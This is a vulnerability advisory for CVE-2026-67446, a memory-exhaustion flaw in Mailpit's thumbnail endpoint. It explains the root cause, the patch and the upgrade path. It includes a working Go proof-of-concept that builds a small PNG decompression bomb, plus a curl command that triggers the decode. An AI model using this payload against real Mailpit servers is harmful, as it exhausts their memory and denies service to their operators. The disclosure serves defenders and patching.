high · 7.5CVE-2026-67446Sep 2, 2026

CVE-2026-67446: Mailpit Thumbnail Handler Uncontrolled Memory Allocation via Oversized Image Dimensions

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Mailpit's thumbnail endpoint decodes the full raster of any image attachment before scaling it to 180x120, so an attacker can send a compact PNG that expands to tens or hundreds of megabytes in…

Packagegithub.com/axllent/mailpit
Ecosystemgo
Affected<= 1.30.3
Fixed in1.30.4
CVE-2026-67446: Mailpit Thumbnail Handler Uncontrolled Memory Allocation via Oversized Image Dimensions

The problem

The thumbnail handler at GET /api/v1/message/{id}/part/{partID}/thumb calls imaging.Decode() on attacker-supplied attachment bytes before performing any check on declared image dimensions or estimated decoded-pixel budget.

The fix (scaling to 180x120) only runs after the full raster is already in memory. An attacker who can send an email and reach the HTTP API can force the server to allocate decoded memory proportional to the image's pixel count, not its encoded size. The web UI loads this endpoint automatically as the <img src> for every image attachment, so opening a malicious message also triggers the path.

Proof of concept

A working proof-of-concept for CVE-2026-67446 in github.com/axllent/mailpit, with the exact payload below.

go
// Generate a valid 4096x4096 RGBA PNG (~65 KB encoded, ~64 MiB decoded).
// Send as a MIME attachment, then hit the thumbnail endpoint.
//
// Step 1: craft the bomb PNG (Go)
package main

import (
    "bytes"
    "compress/zlib"
    "encoding/base64"
    "encoding/binary"
    "hash/crc32"
    "os"
)

func pngChunk(kind string, data []byte) []byte {
    var out bytes.Buffer
    binary.Write(&out, binary.BigEndian, uint32(len(data)))
    out.WriteString(kind)
    out.Write(data)
    crc := crc32.NewIEEE()
    crc.Write([]byte(kind))
    crc.Write(data)
    binary.Write(&out, binary.BigEndian, crc.Sum32())
    return out.Bytes()
}

func main() {
    width, height := 4096, 4096
    var out bytes.Buffer
    out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
    ihdr := make([]byte, 13)
    binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
    binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
    ihdr[8] = 8  // bit depth
    ihdr[9] = 6  // color type: RGBA
    out.Write(pngChunk("IHDR", ihdr))
    var compressed bytes.Buffer
    zw := zlib.NewWriter(&compressed)
    row := make([]byte, 1+width*4) // filter byte + RGBA scanline
    for i := 0; i < height; i++ {
        zw.Write(row)
    }
    zw.Close()
    out.Write(pngChunk("IDAT", compressed.Bytes()))
    out.Write(pngChunk("IEND", nil))
    os.Stdout.Write(out.Bytes())
}

// Step 2: store via SMTP (or /api/v1/send), then trigger decode
// Replace <MSG_ID> and <PART_ID> with values from GET /api/v1/messages
// $ curl http://localhost:8025/api/v1/message/<MSG_ID>/part/<PART_ID>/thumb
//
// Result (from advisory PoC output):
//   encoded_png_bytes=65301  decoded_rgba_bytes=67108864
//   dimensions=4096x4096     amplification=1027.7x

The root cause (CWE-400, CWE-770) is that server/apiv1/thumbnails.go calls imaging.Decode(buf, imaging.AutoOrientation(true)) before inspecting dimensions. PNG's zlib-compressed scanlines let a tiny payload declare and expand to an arbitrarily large raster.

The advisory PoC confirms 65,301 encoded bytes becoming 67,108,864 decoded RGBA bytes, a 1027x amplification, before any thumbnail work begins.

The patch at commit 6bcb6337838b542d53c348e38c7977f569b6db35 adds a pre-flight image.DecodeConfig() call to read only the image header, computes the total pixel count, and rejects images whose decoded size exceeds a fixed cap, returning the blank-thumbnail fallback instead of calling imaging.Decode.

The fix

Upgrade to Mailpit v1.30.4 or later. The release adds a dimension pre-check before full decode in the thumbnail handler, rejecting oversized images before any memory allocation for the raster occurs.

Reporter not attributed.

References: [1][2][3][4][5]

Related research